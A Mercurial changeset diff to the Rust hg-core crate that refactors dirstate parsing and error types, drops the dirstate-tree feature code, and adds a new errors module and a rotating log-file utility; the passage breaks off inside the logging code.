- // descendents - assert_eq!(tree.get_node(HgPath::new(b"a")), None); - assert_eq!(tree.root.children().unwrap().len(), 0); - - let removed_entry = DirstateEntry { - state: EntryState::Removed, - ..entry - }; - assert_eq!(tree.insert(HgPath::new(b"a"), removed_entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"a/b/x"), entry), None); - assert_eq!(tree.files_count, 2); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a")), Some(removed_entry)); - assert_eq!(tree.files_count, 1); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a/b/x")), Some(entry)); - assert_eq!(tree.files_count, 0); - - // The entire tree should have been cleaned up, no more files anywhere - // in its descendents - assert_eq!(tree.root.children().unwrap().len(), 0); - - let removed_entry = DirstateEntry { - state: EntryState::Removed, - ..entry - }; - assert_eq!(tree.insert(HgPath::new(b"a"), entry), None); - assert_eq!( - tree.insert_node(HgPath::new(b"a/b/x"), removed_entry), - None - ); - assert_eq!(tree.files_count, 2); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a")), Some(entry)); - assert_eq!(tree.files_count, 1); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a/b/x")), Some(removed_entry)); - assert_eq!(tree.files_count, 0); - - dbg!(&tree); - // The entire tree should have been cleaned up, no more files anywhere - // in its descendents - assert_eq!(tree.root.children().unwrap().len(), 0); - - assert_eq!(tree.insert(HgPath::new(b"d"), entry), None); - assert_eq!(tree.insert(HgPath::new(b"d/d/d"), entry), None); - assert_eq!(tree.files_count, 2); - - // Deleting the nested file should not delete the top directory as it - // used to be a file - assert_eq!(tree.remove(HgPath::new(b"d/d/d")), Some(entry)); - assert_eq!(tree.files_count, 1); - assert!(tree.get_node(HgPath::new(b"d")).is_some()); - assert!(tree.remove(HgPath::new(b"d")).is_some()); - assert_eq!(tree.files_count, 0); - - // Deleting the nested file should not delete the top file (other way - // around from the last case) - assert_eq!(tree.insert(HgPath::new(b"a/a"), entry), None); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.insert(HgPath::new(b"a"), entry), None); - assert_eq!(tree.files_count, 2); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a/a")), Some(entry)); - assert_eq!(tree.files_count, 1); - dbg!(&tree); - assert!(tree.get_node(HgPath::new(b"a")).is_some()); - assert!(tree.get_node(HgPath::new(b"a/a")).is_none()); - } - - #[test] - fn test_was_directory() { - let mut tree = Tree::new(); - - let entry = DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 0, - size: 0, - }; - assert_eq!(tree.insert_node(HgPath::new(b"a/b/c"), entry), None); - assert_eq!(tree.files_count, 1); - - assert!(tree.insert_node(HgPath::new(b"a"), entry).is_some()); - let new_a = tree.root.children().unwrap().get(&b"a".to_vec()).unwrap(); - - match &new_a.kind { - NodeKind::Directory(_) => panic!(), - NodeKind::File(f) => { - let dir = f.was_directory.clone().unwrap(); - let c = dir - .children - .get(&b"b".to_vec()) - .unwrap() - .children() - .unwrap() - .get(&b"c".to_vec()) - .unwrap(); - - assert_eq!( - match &c.kind { - NodeKind::Directory(_) => panic!(), - NodeKind::File(f) => f.entry, - }, - entry - ); - } - } - assert_eq!(tree.files_count, 2); - dbg!(&tree); - assert_eq!(tree.remove(HgPath::new(b"a/b/c")), Some(entry)); - assert_eq!(tree.files_count, 1); - dbg!(&tree); - let a = tree.get_node(HgPath::new(b"a")).unwrap(); - match &a.kind { - NodeKind::Directory(_) => panic!(), - NodeKind::File(f) => { - // Directory in `was_directory` was emptied, should be removed - assert_eq!(f.was_directory, None); - } - } - } - #[test] - fn test_extend() { - let insertions = [ - ( - HgPathBuf::from_bytes(b"d"), - DirstateEntry { - state: EntryState::Added, - mode: 0, - mtime: -1, - size: -1, - }, - ), - ( - HgPathBuf::from_bytes(b"b"), - DirstateEntry { - state: EntryState::Normal, - mode: 33188, - mtime: 1599647984, - size: 2, - }, - ), - ( - HgPathBuf::from_bytes(b"a/a"), - DirstateEntry { - state: EntryState::Normal, - mode: 33188, - mtime: 1599647984, - size: 2, - }, - ), - ( - HgPathBuf::from_bytes(b"d/d/d"), - DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 0, - size: 0, - }, - ), - ] - .to_vec(); - let mut tree = Tree::new(); - - tree.extend(insertions.clone().into_iter()); - - for (path, _) in &insertions { - assert!(tree.contains_key(path), true); - } - assert_eq!(tree.files_count, 4); - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/parsers.rs --- a/rust/hg-core/src/dirstate/parsers.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/dirstate/parsers.rs Tue Apr 20 11:01:06 2021 -0400 @@ -3,15 +3,16 @@ // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. +use crate::errors::HgError; use crate::utils::hg_path::HgPath; use crate::{ - dirstate::{CopyMap, EntryState, StateMap}, - DirstateEntry, DirstatePackError, DirstateParents, DirstateParseError, + dirstate::{CopyMap, EntryState, RawEntry, StateMap}, + DirstateEntry, DirstateParents, }; -use byteorder::{BigEndian, ReadBytesExt, WriteBytesExt}; +use byteorder::{BigEndian, WriteBytesExt}; +use bytes_cast::BytesCast; use micro_timer::timed; use std::convert::{TryFrom, TryInto}; -use std::io::Cursor; use std::time::Duration; /// Parents are stored in the dirstate as byte hashes. @@ -20,77 +21,64 @@ const MIN_ENTRY_SIZE: usize = 17; type ParseResult<'a> = ( - DirstateParents, + &'a DirstateParents, Vec<(&'a HgPath, DirstateEntry)>, Vec<(&'a HgPath, &'a HgPath)>, ); -#[timed] -pub fn parse_dirstate( +pub fn parse_dirstate_parents( contents: &[u8], -) -> Result { - if contents.len() < PARENT_SIZE * 2 { - return Err(DirstateParseError::TooLittleData); - } - let mut copies = vec![]; - let mut entries = vec![]; +) -> Result<&DirstateParents, HgError> { + let (parents, _rest) = DirstateParents::from_bytes(contents) + .map_err(|_| HgError::corrupted("Too little data for dirstate."))?; + Ok(parents) +} - let mut curr_pos = PARENT_SIZE * 2; - let parents = DirstateParents { - p1: contents[..PARENT_SIZE].try_into().unwrap(), - p2: contents[PARENT_SIZE..curr_pos].try_into().unwrap(), - }; +#[timed] +pub fn parse_dirstate(mut contents: &[u8]) -> Result { + let mut copies = Vec::new(); + let mut entries = Vec::new(); - while curr_pos < contents.len() { - if curr_pos + MIN_ENTRY_SIZE > contents.len() { - return Err(DirstateParseError::Overflow); - } - let entry_bytes = &contents[curr_pos..]; + let (parents, rest) = DirstateParents::from_bytes(contents) + .map_err(|_| HgError::corrupted("Too little data for dirstate."))?; + contents = rest; + while !contents.is_empty() { + let (raw_entry, rest) = RawEntry::from_bytes(contents) + .map_err(|_| HgError::corrupted("Overflow in dirstate."))?; - let mut cursor = Cursor::new(entry_bytes); - let state = EntryState::try_from(cursor.read_u8()?)?; - let mode = cursor.read_i32::()?; - let size = cursor.read_i32::()?; - let mtime = cursor.read_i32::()?; - let path_len = cursor.read_i32::()? as usize; + let entry = DirstateEntry { + state: EntryState::try_from(raw_entry.state)?, + mode: raw_entry.mode.get(), + mtime: raw_entry.mtime.get(), + size: raw_entry.size.get(), + }; + let (paths, rest) = + u8::slice_from_bytes(rest, raw_entry.length.get() as usize) + .map_err(|_| HgError::corrupted("Overflow in dirstate."))?; - if path_len > contents.len() - curr_pos { - return Err(DirstateParseError::Overflow); + // `paths` is either a single path, or two paths separated by a NULL + // byte + let mut iter = paths.splitn(2, |&byte| byte == b'\0'); + let path = HgPath::new( + iter.next().expect("splitn always yields at least one item"), + ); + if let Some(copy_source) = iter.next() { + copies.push((path, HgPath::new(copy_source))); } - // Slice instead of allocating a Vec needed for `read_exact` - let path = &entry_bytes[MIN_ENTRY_SIZE..MIN_ENTRY_SIZE + (path_len)]; - - let (path, copy) = match memchr::memchr(0, path) { - None => (path, None), - Some(i) => (&path[..i], Some(&path[(i + 1)..])), - }; - - if let Some(copy_path) = copy { - copies.push((HgPath::new(path), HgPath::new(copy_path))); - }; - entries.push(( - HgPath::new(path), - DirstateEntry { - state, - mode, - size, - mtime, - }, - )); - curr_pos = curr_pos + MIN_ENTRY_SIZE + (path_len); + entries.push((path, entry)); + contents = rest; } Ok((parents, entries, copies)) } /// `now` is the duration in seconds since the Unix epoch -#[cfg(not(feature = "dirstate-tree"))] pub fn pack_dirstate( state_map: &mut StateMap, copy_map: &CopyMap, parents: DirstateParents, now: Duration, -) -> Result, DirstatePackError> { +) -> Result, HgError> { // TODO move away from i32 before 2038. let now: i32 = now.as_secs().try_into().expect("time overflow"); @@ -108,8 +96,8 @@ let mut packed = Vec::with_capacity(expected_size); - packed.extend(&parents.p1); - packed.extend(&parents.p2); + packed.extend(parents.p1.as_bytes()); + packed.extend(parents.p2.as_bytes()); for (filename, entry) in state_map.iter_mut() { let new_filename = filename.to_owned(); @@ -136,93 +124,27 @@ new_filename.extend(copy.bytes()); } - packed.write_u8(entry.state.into())?; - packed.write_i32::(entry.mode)?; - packed.write_i32::(entry.size)?; - packed.write_i32::(new_mtime)?; - packed.write_i32::(new_filename.len() as i32)?; + // Unwrapping because `impl std::io::Write for Vec` never errors + packed.write_u8(entry.state.into()).unwrap(); + packed.write_i32::(entry.mode).unwrap(); + packed.write_i32::(entry.size).unwrap(); + packed.write_i32::(new_mtime).unwrap(); + packed + .write_i32::(new_filename.len() as i32) + .unwrap(); packed.extend(new_filename) } if packed.len() != expected_size { - return Err(DirstatePackError::BadSize(expected_size, packed.len())); + return Err(HgError::CorruptedRepository(format!( + "bad dirstate size: {} != {}", + expected_size, + packed.len() + ))); } Ok(packed) } -/// `now` is the duration in seconds since the Unix epoch -#[cfg(feature = "dirstate-tree")] -pub fn pack_dirstate( - state_map: &mut StateMap, - copy_map: &CopyMap, - parents: DirstateParents, - now: Duration, -) -> Result, DirstatePackError> { - // TODO move away from i32 before 2038. - let now: i32 = now.as_secs().try_into().expect("time overflow"); - - let expected_size: usize = state_map - .iter() - .map(|(filename, _)| { - let mut length = MIN_ENTRY_SIZE + filename.len(); - if let Some(copy) = copy_map.get(&filename) { - length += copy.len() + 1; - } - length - }) - .sum(); - let expected_size = expected_size + PARENT_SIZE * 2; - - let mut packed = Vec::with_capacity(expected_size); - let mut new_state_map = vec![]; - - packed.extend(&parents.p1); - packed.extend(&parents.p2); - - for (filename, entry) in state_map.iter() { - let new_filename = filename.to_owned(); - let mut new_mtime: i32 = entry.mtime; - if entry.state == EntryState::Normal && entry.mtime == now { - // The file was last modified "simultaneously" with the current - // write to dirstate (i.e. within the same second for file- - // systems with a granularity of 1 sec). This commonly happens - // for at least a couple of files on 'update'. - // The user could change the file without changing its size - // within the same second. Invalidate the file's mtime in - // dirstate, forcing future 'status' calls to compare the - // contents of the file if the size is the same. This prevents - // mistakenly treating such files as clean. - new_mtime = -1; - new_state_map.push(( - filename.to_owned(), - DirstateEntry { - mtime: new_mtime, - ..entry - }, - )); - } - let mut new_filename = new_filename.into_vec(); - if let Some(copy) = copy_map.get(&filename) { - new_filename.push(b'\0'); - new_filename.extend(copy.bytes()); - } - - packed.write_u8(entry.state.into())?; - packed.write_i32::(entry.mode)?; - packed.write_i32::(entry.size)?; - packed.write_i32::(new_mtime)?; - packed.write_i32::(new_filename.len() as i32)?; - packed.extend(new_filename) - } - - if packed.len() != expected_size { - return Err(DirstatePackError::BadSize(expected_size, packed.len())); - } - - state_map.extend(new_state_map); - - Ok(packed) -} #[cfg(test)] mod tests { @@ -235,8 +157,8 @@ let mut state_map = StateMap::default(); let copymap = FastHashMap::default(); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let expected = b"1234567891011121314100000000000000000000".to_vec(); @@ -266,8 +188,8 @@ let copymap = FastHashMap::default(); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let expected = [ @@ -306,8 +228,8 @@ HgPathBuf::from_bytes(b"copyname"), ); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let expected = [ @@ -346,8 +268,8 @@ HgPathBuf::from_bytes(b"copyname"), ); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let result = @@ -366,7 +288,7 @@ .collect(); assert_eq!( - (parents, state_map, copymap), + (&parents, state_map, copymap), (new_parents, new_state_map, new_copy_map) ) } @@ -424,8 +346,8 @@ HgPathBuf::from_bytes(b"copyname2"), ); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let result = @@ -444,7 +366,7 @@ .collect(); assert_eq!( - (parents, state_map, copymap), + (&parents, state_map, copymap), (new_parents, new_state_map, new_copy_map) ) } @@ -470,8 +392,8 @@ HgPathBuf::from_bytes(b"copyname"), ); let parents = DirstateParents { - p1: *b"12345678910111213141", - p2: *b"00000000000000000000", + p1: b"12345678910111213141".into(), + p2: b"00000000000000000000".into(), }; let now = Duration::new(15000000, 0); let result = @@ -491,7 +413,7 @@ assert_eq!( ( - parents, + &parents, [( HgPathBuf::from_bytes(b"f1"), DirstateEntry { diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/status.rs --- a/rust/hg-core/src/dirstate/status.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/dirstate/status.rs Tue Apr 20 11:01:06 2021 -0400 @@ -9,9 +9,6 @@ //! It is currently missing a lot of functionality compared to the Python one //! and will only be triggered in narrow cases. -#[cfg(feature = "dirstate-tree")] -use crate::dirstate::dirstate_tree::iter::StatusShortcut; -#[cfg(not(feature = "dirstate-tree"))] use crate::utils::path_auditor::PathAuditor; use crate::{ dirstate::SIZE_FROM_OTHER_PARENT, @@ -33,6 +30,7 @@ use std::{ borrow::Cow, collections::HashSet, + fmt, fs::{read_dir, DirEntry}, io::ErrorKind, ops::Deref, @@ -51,17 +49,16 @@ Unknown, } -impl ToString for BadType { - fn to_string(&self) -> String { - match self { +impl fmt::Display for BadType { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + f.write_str(match self { BadType::CharacterDevice => "character device", BadType::BlockDevice => "block device", BadType::FIFO => "fifo", BadType::Socket => "socket", BadType::Directory => "directory", BadType::Unknown => "unknown", - } - .to_string() + }) } } @@ -184,7 +181,13 @@ || other_parent || copy_map.contains_key(filename.as_ref()) { - Dispatch::Modified + if metadata.is_symlink() && size_changed { + // issue6456: Size returned may be longer due to encryption + // on EXT-4 fscrypt. TODO maybe only do it on EXT4? + Dispatch::Unsure + } else { + Dispatch::Modified + } } else if mod_compare(mtime, st_mtime as i32) || st_mtime == options.last_normal_time { @@ -265,7 +268,7 @@ pub traversed: Vec, } -#[derive(Debug)] +#[derive(Debug, derive_more::From)] pub enum StatusError { /// Generic IO error IO(std::io::Error), @@ -277,28 +280,12 @@ pub type StatusResult = Result; -impl From for StatusError { - fn from(e: PatternError) -> Self { - StatusError::Pattern(e) - } -} -impl From for StatusError { - fn from(e: HgPathError) -> Self { - StatusError::Path(e) - } -} -impl From for StatusError { - fn from(e: std::io::Error) -> Self { - StatusError::IO(e) - } -} - -impl ToString for StatusError { - fn to_string(&self) -> String { +impl fmt::Display for StatusError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { - StatusError::IO(e) => e.to_string(), - StatusError::Path(e) => e.to_string(), - StatusError::Pattern(e) => e.to_string(), + StatusError::IO(error) => error.fmt(f), + StatusError::Path(error) => error.fmt(f), + StatusError::Pattern(error) => error.fmt(f), } } } @@ -713,83 +700,6 @@ /// /// This takes a mutable reference to the results to account for the /// `extend` in timings - #[cfg(feature = "dirstate-tree")] - #[timed] - pub fn extend_from_dmap(&self, results: &mut Vec>) { - results.par_extend( - self.dmap - .fs_iter(self.root_dir.clone()) - .par_bridge() - .filter(|(path, _)| self.matcher.matches(path)) - .map(move |(filename, shortcut)| { - let entry = match shortcut { - StatusShortcut::Entry(e) => e, - StatusShortcut::Dispatch(d) => { - return (Cow::Owned(filename), d) - } - }; - let filename_as_path = match hg_path_to_path_buf(&filename) - { - Ok(f) => f, - Err(_) => { - return ( - Cow::Owned(filename), - INVALID_PATH_DISPATCH, - ) - } - }; - let meta = self - .root_dir - .join(filename_as_path) - .symlink_metadata(); - - match meta { - Ok(m) - if !(m.file_type().is_file() - || m.file_type().is_symlink()) => - { - ( - Cow::Owned(filename), - dispatch_missing(entry.state), - ) - } - Ok(m) => { - let dispatch = dispatch_found( - &filename, - entry, - HgMetadata::from_metadata(m), - &self.dmap.copy_map, - self.options, - ); - (Cow::Owned(filename), dispatch) - } - Err(e) - if e.kind() == ErrorKind::NotFound - || e.raw_os_error() == Some(20) => - { - // Rust does not yet have an `ErrorKind` for - // `NotADirectory` (errno 20) - // It happens if the dirstate contains `foo/bar` - // and foo is not a - // directory - ( - Cow::Owned(filename), - dispatch_missing(entry.state), - ) - } - Err(e) => { - (Cow::Owned(filename), dispatch_os_error(&e)) - } - } - }), - ); - } - - /// Add the files in the dirstate to the results. - /// - /// This takes a mutable reference to the results to account for the - /// `extend` in timings - #[cfg(not(feature = "dirstate-tree"))] #[timed] pub fn extend_from_dmap(&self, results: &mut Vec>) { results.par_extend( @@ -860,7 +770,6 @@ /// /// This takes a mutable reference to the results to account for the /// `extend` in timings - #[cfg(not(feature = "dirstate-tree"))] #[timed] pub fn handle_unknowns(&self, results: &mut Vec>) { let to_visit: Vec<(&HgPath, &DirstateEntry)> = diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/errors.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/errors.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,183 @@ +use crate::config::ConfigValueParseError; +use std::fmt; + +/// Common error cases that can happen in many different APIs +#[derive(Debug, derive_more::From)] +pub enum HgError { + IoError { + error: std::io::Error, + context: IoErrorContext, + }, + + /// A file under `.hg/` normally only written by Mercurial is not in the + /// expected format. This indicates a bug in Mercurial, filesystem + /// corruption, or hardware failure. + /// + /// The given string is a short explanation for users, not intended to be + /// machine-readable. + CorruptedRepository(String), + + /// The respository or requested operation involves a feature not + /// supported by the Rust implementation. Falling back to the Python + /// implementation may or may not work. + /// + /// The given string is a short explanation for users, not intended to be + /// machine-readable. + UnsupportedFeature(String), + + /// Operation cannot proceed for some other reason. + /// + /// The given string is a short explanation for users, not intended to be + /// machine-readable. + Abort(String), + + /// A configuration value is not in the expected syntax. + /// + /// These errors can happen in many places in the code because values are + /// parsed lazily as the file-level parser does not know the expected type + /// and syntax of each value. + #[from] + ConfigValueParseError(ConfigValueParseError), +} + +/// Details about where an I/O error happened +#[derive(Debug)] +pub enum IoErrorContext { + ReadingFile(std::path::PathBuf), + WritingFile(std::path::PathBuf), + RemovingFile(std::path::PathBuf), + RenamingFile { + from: std::path::PathBuf, + to: std::path::PathBuf, + }, + /// `std::fs::canonicalize` + CanonicalizingPath(std::path::PathBuf), + /// `std::env::current_dir` + CurrentDir, + /// `std::env::current_exe` + CurrentExe, +} + +impl HgError { + pub fn corrupted(explanation: impl Into) -> Self { + // TODO: capture a backtrace here and keep it in the error value + // to aid debugging? + // https://doc.rust-lang.org/std/backtrace/struct.Backtrace.html + HgError::CorruptedRepository(explanation.into()) + } + + pub fn unsupported(explanation: impl Into) -> Self { + HgError::UnsupportedFeature(explanation.into()) + } + pub fn abort(explanation: impl Into) -> Self { + HgError::Abort(explanation.into()) + } +} + +// TODO: use `DisplayBytes` instead to show non-Unicode filenames losslessly? +impl fmt::Display for HgError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + match self { + HgError::Abort(explanation) => write!(f, "{}", explanation), + HgError::IoError { error, context } => { + write!(f, "abort: {}: {}", context, error) + } + HgError::CorruptedRepository(explanation) => { + write!(f, "abort: {}", explanation) + } + HgError::UnsupportedFeature(explanation) => { + write!(f, "unsupported feature: {}", explanation) + } + HgError::ConfigValueParseError(error) => error.fmt(f), + } + } +} + +// TODO: use `DisplayBytes` instead to show non-Unicode filenames losslessly? +impl fmt::Display for IoErrorContext { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + match self { + IoErrorContext::ReadingFile(path) => { + write!(f, "when reading {}", path.display()) + } + IoErrorContext::WritingFile(path) => { + write!(f, "when writing {}", path.display()) + } + IoErrorContext::RemovingFile(path) => { + write!(f, "when removing {}", path.display()) + } + IoErrorContext::RenamingFile { from, to } => write!( + f, + "when renaming {} to {}", + from.display(), + to.display() + ), + IoErrorContext::CanonicalizingPath(path) => { + write!(f, "when canonicalizing {}", path.display()) + } + IoErrorContext::CurrentDir => { + write!(f, "error getting current working directory") + } + IoErrorContext::CurrentExe => { + write!(f, "error getting current executable") + } + } + } +} + +pub trait IoResultExt { + /// Annotate a possible I/O error as related to a reading a file at the + /// given path. + /// + /// This allows printing something like “File not found when reading + /// example.txt” instead of just “File not found”. + /// + /// Converts a `Result` with `std::io::Error` into one with `HgError`. + fn when_reading_file(self, path: &std::path::Path) -> Result; + + fn with_context( + self, + context: impl FnOnce() -> IoErrorContext, + ) -> Result; +} + +impl IoResultExt for std::io::Result { + fn when_reading_file(self, path: &std::path::Path) -> Result { + self.with_context(|| IoErrorContext::ReadingFile(path.to_owned())) + } + + fn with_context( + self, + context: impl FnOnce() -> IoErrorContext, + ) -> Result { + self.map_err(|error| HgError::IoError { + error, + context: context(), + }) + } +} + +pub trait HgResultExt { + /// Handle missing files separately from other I/O error cases. + /// + /// Wraps the `Ok` type in an `Option`: + /// + /// * `Ok(x)` becomes `Ok(Some(x))` + /// * An I/O "not found" error becomes `Ok(None)` + /// * Other errors are unchanged + fn io_not_found_as_none(self) -> Result, HgError>; +} + +impl HgResultExt for Result { + fn io_not_found_as_none(self) -> Result, HgError> { + match self { + Ok(x) => Ok(Some(x)), + Err(HgError::IoError { error, .. }) + if error.kind() == std::io::ErrorKind::NotFound => + { + Ok(None) + } + Err(other_error) => Err(other_error), + } + } +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/lib.rs --- a/rust/hg-core/src/lib.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/lib.rs Tue Apr 20 11:01:06 2021 -0400 @@ -3,8 +3,10 @@ // // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. + mod ancestors; pub mod dagops; +pub mod errors; pub use ancestors::{AncestorsIterator, LazyAncestors, MissingAncestors}; mod dirstate; pub mod discovery; @@ -15,7 +17,8 @@ dirstate_map::DirstateMap, parsers::{pack_dirstate, parse_dirstate, PARENT_SIZE}, status::{ - status, BadMatch, BadType, DirstateStatus, StatusError, StatusOptions, + status, BadMatch, BadType, DirstateStatus, HgPathCow, StatusError, + StatusOptions, }, CopyMap, CopyMapIter, DirstateEntry, DirstateParents, EntryState, StateMap, StateMapIter, @@ -27,23 +30,18 @@ pub mod revlog; pub use revlog::*; pub mod config; +pub mod logging; pub mod operations; +pub mod revset; pub mod utils; -// Remove this to see (potential) non-artificial compile failures. MacOS -// *should* compile, but fail to compile tests for example as of 2020-03-06 -#[cfg(not(target_os = "linux"))] -compile_error!( - "`hg-core` has only been tested on Linux and will most \ - likely not behave correctly on other platforms." -); - use crate::utils::hg_path::{HgPathBuf, HgPathError}; pub use filepatterns::{ parse_pattern_syntax, read_pattern_file, IgnorePattern, PatternFileWarning, PatternSyntax, }; use std::collections::HashMap; +use std::fmt; use twox_hash::RandomXxHashBuilder64; /// This is a contract between the `micro-timer` crate and us, to expose @@ -57,45 +55,6 @@ /// write access to your repository, you have other issues. pub type FastHashMap = HashMap; -#[derive(Clone, Debug, PartialEq)] -pub enum DirstateParseError { - TooLittleData, - Overflow, - // TODO refactor to use bytes instead of String - CorruptedEntry(String), - Damaged, -} - -impl From for DirstateParseError { - fn from(e: std::io::Error) -> Self { - DirstateParseError::CorruptedEntry(e.to_string()) - } -} - -impl ToString for DirstateParseError { - fn to_string(&self) -> String { - use crate::DirstateParseError::*; - match self { - TooLittleData => "Too little data for dirstate.".to_string(), - Overflow => "Overflow in dirstate.".to_string(), - CorruptedEntry(e) => format!("Corrupted entry: {:?}.", e), - Damaged => "Dirstate appears to be damaged.".to_string(), - } - } -} - -#[derive(Debug, PartialEq)] -pub enum DirstatePackError { - CorruptedEntry(String), - CorruptedParent, - BadSize(usize, usize), -} - -impl From for DirstatePackError { - fn from(e: std::io::Error) -> Self { - DirstatePackError::CorruptedEntry(e.to_string()) - } -} #[derive(Debug, PartialEq)] pub enum DirstateMapError { PathNotFound(HgPathBuf), @@ -103,94 +62,61 @@ InvalidPath(HgPathError), } -impl ToString for DirstateMapError { - fn to_string(&self) -> String { +impl fmt::Display for DirstateMapError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { DirstateMapError::PathNotFound(_) => { - "expected a value, found none".to_string() + f.write_str("expected a value, found none") } - DirstateMapError::EmptyPath => "Overflow in dirstate.".to_string(), - DirstateMapError::InvalidPath(e) => e.to_string(), + DirstateMapError::EmptyPath => { + f.write_str("Overflow in dirstate.") + } + DirstateMapError::InvalidPath(path_error) => path_error.fmt(f), } } } -#[derive(Debug)] +#[derive(Debug, derive_more::From)] pub enum DirstateError { - Parse(DirstateParseError), - Pack(DirstatePackError), Map(DirstateMapError), - IO(std::io::Error), + Common(errors::HgError), } -impl From for DirstateError { - fn from(e: DirstateParseError) -> Self { - DirstateError::Parse(e) - } -} - -impl From for DirstateError { - fn from(e: DirstatePackError) -> Self { - DirstateError::Pack(e) - } -} - -#[derive(Debug)] +#[derive(Debug, derive_more::From)] pub enum PatternError { + #[from] Path(HgPathError), UnsupportedSyntax(String), UnsupportedSyntaxInFile(String, String, usize), TooLong(usize), + #[from] IO(std::io::Error), /// Needed a pattern that can be turned into a regex but got one that /// can't. This should only happen through programmer error. NonRegexPattern(IgnorePattern), } -impl ToString for PatternError { - fn to_string(&self) -> String { +impl fmt::Display for PatternError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { PatternError::UnsupportedSyntax(syntax) => { - format!("Unsupported syntax {}", syntax) + write!(f, "Unsupported syntax {}", syntax) } PatternError::UnsupportedSyntaxInFile(syntax, file_path, line) => { - format!( + write!( + f, "{}:{}: unsupported syntax {}", file_path, line, syntax ) } PatternError::TooLong(size) => { - format!("matcher pattern is too long ({} bytes)", size) + write!(f, "matcher pattern is too long ({} bytes)", size) } - PatternError::IO(e) => e.to_string(), - PatternError::Path(e) => e.to_string(), + PatternError::IO(error) => error.fmt(f), + PatternError::Path(error) => error.fmt(f), PatternError::NonRegexPattern(pattern) => { - format!("'{:?}' cannot be turned into a regex", pattern) + write!(f, "'{:?}' cannot be turned into a regex", pattern) } } } } - -impl From for DirstateError { - fn from(e: DirstateMapError) -> Self { - DirstateError::Map(e) - } -} - -impl From for DirstateError { - fn from(e: std::io::Error) -> Self { - DirstateError::IO(e) - } -} - -impl From for PatternError { - fn from(e: std::io::Error) -> Self { - PatternError::IO(e) - } -} - -impl From for PatternError { - fn from(e: HgPathError) -> Self { - PatternError::Path(e) - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/logging.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/logging.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,101 @@ +use crate::errors::{HgError, HgResultExt, IoErrorContext, IoResultExt}; +use crate::repo::Vfs; +use std::io::Write; + +/// An utility to append to a log file with the given name, and optionally +/// rotate it after it reaches a certain maximum size. +/// +/// Rotation works by renaming "example.log" to "example.log.1", after renaming +/// "example.log.1" to "example.log.2" etc up to the given maximum number of +/// files. +pub struct LogFile<'a> { + vfs: Vfs<'a>, + name: &'a str, + max_size: Option, + max_files: u32, +} + +impl<'a> LogFile<'a> { + pub fn new(vfs: Vfs<'a>, name: &'a str) -> Self { + Self { + vfs, + name, + max_size: None, + max_files: 0, + } + } + + /// Rotate before writing to a log file that was already larger than the + /// given size, in bytes. `None` disables rotation. + pub fn max_size(mut self, value: Option) -> Self { + self.max_size = value; + self + } + + /// Keep this many rotated files `{name}.1` up to `{name}.{max}`, in + /// addition to the original `{name}` file. + pub fn max_files(mut self, value: u32) -> Self { + self.max_files = value; + self + } + + /// Append the given `bytes` as-is to the log file, after rotating if + /// needed. + /// + /// No trailing newline is added. Make sure to include one in `bytes` if + /// desired. + pub fn write(&self, bytes: &[u8]) -> Result<(), HgError> { + let path = self.vfs.join(self.name); + let context = || IoErrorContext::WritingFile(path.clone()); + let open = || { + std::fs::OpenOptions::new() + .create(true) + .append(true) + .open(&path) + .with_context(context) + }; + let mut file = open()?; + if let Some(max_size) = self.max_size { + if file.metadata().with_context(context)?.len() >= max_size { + // For example with `max_files == 5`, the first iteration of + // this loop has `i == 4` and renames `{name}.4` to `{name}.5`. + // The last iteration renames `{name}.1` to + // `{name}.2` + for i in (1..self.max_files).rev() { + self.vfs + .rename( + format!("{}.{}", self.name, i), + format!("{}.{}", self.name, i + 1), + ) + .io_not_found_as_none()?; + } + // Then rename `{name}` to `{name}.1`. This is the + // previously-opened `file`. + self.vfs + .rename(self.name, format!("{}.1", self.name)) + .io_not_found_as_none()?; + // Finally, create a new `{name}` file and replace our `file` + // handle. + file = open()?; + } + } + file.write_all(bytes).with_context(context)?; + 